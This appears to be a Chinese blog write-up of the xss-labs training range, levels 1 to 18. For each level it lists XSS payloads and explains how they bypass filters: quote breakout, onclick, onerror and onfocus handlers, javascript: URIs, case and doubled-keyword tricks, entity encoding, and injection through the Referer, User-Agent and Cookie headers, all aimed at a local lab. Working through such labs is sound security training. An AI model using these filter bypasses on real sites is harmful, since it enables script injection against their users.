xss_labs

leve1

image
修改name参数为<script>alert(111)</script>
image

level2

image
表单填入<script>alert(111)</script>
image
失败。
查看源码:
image
发现输入的内容被包含在value值中,作为文本输出,尝试闭合value:">,最终的payload为:"><script>alert(111)</script>
image

level3

表单填入<script>alert(111)</script>
image
失败。
查看源码:
image
输入的内容被包含在value值中,且<>被过滤掉了。考虑用onclick点击事件进行触发弹窗,最终的payload为:' onclick=alert(1)//
再点击一下输入框后弹出:
image

level4

image
表单填入<script>alert(111)</script>
image
失败。
查看源码:
image
输入的内容被包含在value值中,且<>被过滤掉了。考虑用onclick点击事件进行触发弹窗,最终的payload为:" onclick=alert(1)//
再点击一下输入框后弹出:
image

level5

image
表单填入<script>alert(111)</script>
image
失败。且能发现对script进行了过滤。
查看源码:
image
考虑用onclick点击事件进行触发弹窗,payload为:" onclick=alert(1)//
image
失败。对onclick进行了过滤。
考虑用JS伪协议绕过,最终的payload为:"><a href=javascript:alert(111)>test</a>//
image

level6

image
表单填入<script>alert(111)</script>
image
失败。
查看源码:
image
script被过滤掉了,考虑用onclick点击事件进行触发弹窗,payload为:" onclick=alert(1)//
image
失败。对onclick进行了过滤。
考虑用JS伪协议绕过,payload为:"><a href=javascript:alert(111)>test</a>//
image
失败。对href进行了过滤。
尝试大小写script绕过,最终的payload为:"><ScRiPt>alert(111)</ScRiPt>
image

level7

image
表单填入<script>alert(111)</script>
image
失败。
查看源码:
image
script被过滤掉了,考虑用onclick点击事件进行触发弹窗,payload为:" onclick=alert(1)//
image
失败。对onclick进行了过滤。
考虑用JS伪协议绕过,payload为:"><a href=javascript:alert(111)>test</a>//
image
失败。对href进行了过滤。
尝试大小写script绕过,payload为:"><ScRiPt>alert(111)</ScRiPt>
image
失败。尝试双写script绕过,最终的payload为:"><scrscriptipt>alert(111)</scrscriptipt>
image

level8

image
表单填入<script>alert(111)</script>
失败。
查看源码:
image
输入的内容在a标签里面,href可以自动解码html实体编码,直接编码script中的r
image
最终的payload为:javasc&#114;ipt:alert(111)
image

level9

image
JS伪协议绕过,payload为:"><a href=javascript:alert(111)>test</a>//
image
输入的内容在a标签里面,提示输入的链接不合法。
合法的链接格式至少含有http://,构造payload:javascript:alert(111)//http://
image
javascript进行了过滤,由于href可以自动解码html实体编码,直接编码script中的r,最终的payload为:javasc&#114;ipt:alert(111)//http://
image

level10

image
发现没有可以进行传参的地方,查看网页源代码:
image
通过input的name来修改type来看是否可以显示文本框,URL添加:t_link" type='text'>//&t_history" type='text'>//&t_sort=" type='text'>//
image
发现成功显示文本框。
通过网页源代码,看出是t_sort的文本框被弹出:
image
使用onclick事件" type='text' onclick=javascript:alert(12)//,发现成功绕过
image

level11

image
发现没有可以进行传参的地方,查看网页源代码:
image
t_ref的value变成了第10关的网址,猜到大概率是referer。
通过Burpsuite抓包,手动添加referer,payload是第十关的payload,成功绕过:
image

level12

image
发现没有可以进行传参的地方,查看网页源代码:
image
t_ua有显示版本等信息,于是通过Burpsuit抓包修改User-Agent信息里添加onclick事件:
image
成功绕过:
image

level13

image
发现没有可以进行传参的地方,查看网页源代码:
image
cookie传参,直接burpsuite抓包,通过修改cookie,构造文本框,使用onclick事件:
image
成功绕过:
image

level14

image
第14关有问题,直接跳过。

level15

image
发现没有可以进行传参的地方,查看网页源代码:
image
发现有一个新发现ng-include,ng-include指令用于包含外部的HTML文件。意思是可以打开外部的网页文件。
如果输入第一关的路径,就可以跳转到第一关,输入第一关的过关信息即可成功,构造'level1.php?name=<script>alert(111)</script>'
image
查看源码发现<>被转义了。使用img标签,构造最终的payload:'level1.php?name=<img src=1 onerror=alert(111)>'
image

level16

image
发现没有可以进行传参的地方,查看网页源代码:
image
输入' " < > script onclick看看过滤了什么,发现过滤了" ' script 还有空格。
可以用a标签onclick事件绕过,空格用换行符%0a替代<a%0Aonclick=alert(1)>111</a>
成功绕过:
image

level17

17-20关需要在Flash环境下才能完整复现,但Firefox没有Flash
image
没有可以进行传参的地方,查看网页源代码:
发现有embed标签,<embed>标签定义了一个容器,用来嵌入外部应用或者互动程序。

火狐浏览器复现:在Firefox里:+无可用 plugin→元素被创建,但不会触发onload/onerror/鼠标事件
Level17 并不要求必须用 触发事件,它只要求你打破属性并注入可执行 HTML。
Firefox中可稳定触发的事件是onfocus + tabindex。
payload应该为: tabindex=1 onfocus=alert(111) x=
URL编码后为:%60%20tabindex=1%20onfocus=alert(111)%20x=%60
完整的URL:http://192.168.137.137/xss_labs/level17.php arg01=%60%20tabindex=1%20onfocus=alert(111)%20x=%60
然后在页面中按一下Tab键(焦点会落到 embed 上),立刻触发XSS → "完成的不错!"

image
在其他浏览器中可使用onclick或onmouseover进行绕过。

level18

查看源码:
image
在火狐浏览器的唯一可行解法:完全绕过Flash,用HTML注入触发window.alert()
这段代码:

window.alert = function()
{
  confirm("完成的不错!");
  window.location.href="level19.php?arg01=a&arg02=b"; 
}

也就是说:只要能执行一次alert(),就直接跳关。而embed里是这样拼的:<embed src=xsf02.swf?a=b ...>
可以用Level17的同样思路——属性逃逸。
Firefox 稳定 Payload(Level18):
URL 里加参数(Flash 原本用的):?arg01=...
但真正拼接发生在swf的参数里,所以要注入到:xsf02.swf?[你的输入]
payload 用反引号逃逸:` onload=alert(1) x=`
URL 编码:%60%20onload=alert(1)%20x=%60
完整 URL:http://192.168.137.137/xss_labs/level18.php?arg01=%60%20onload=alert(111)%20x=%60
最终 HTML 变成:<embed src=xsf02.swf? onload=alert(111) x= width=100% heigth=100%>
Firefox 解析为:

<embed
  src="xsf02.swf?"
  onload="alert(111)"
  x="="
  width="100%"
  heigth="100%">

即使Flash不存在,alert(111) 会被执行→被重写成"完成的不错!"→自动跳转Level19。

posted @ 2026-01-12 14:16  77板烧鸡腿堡  阅读(20)  评论(0)    收藏  举报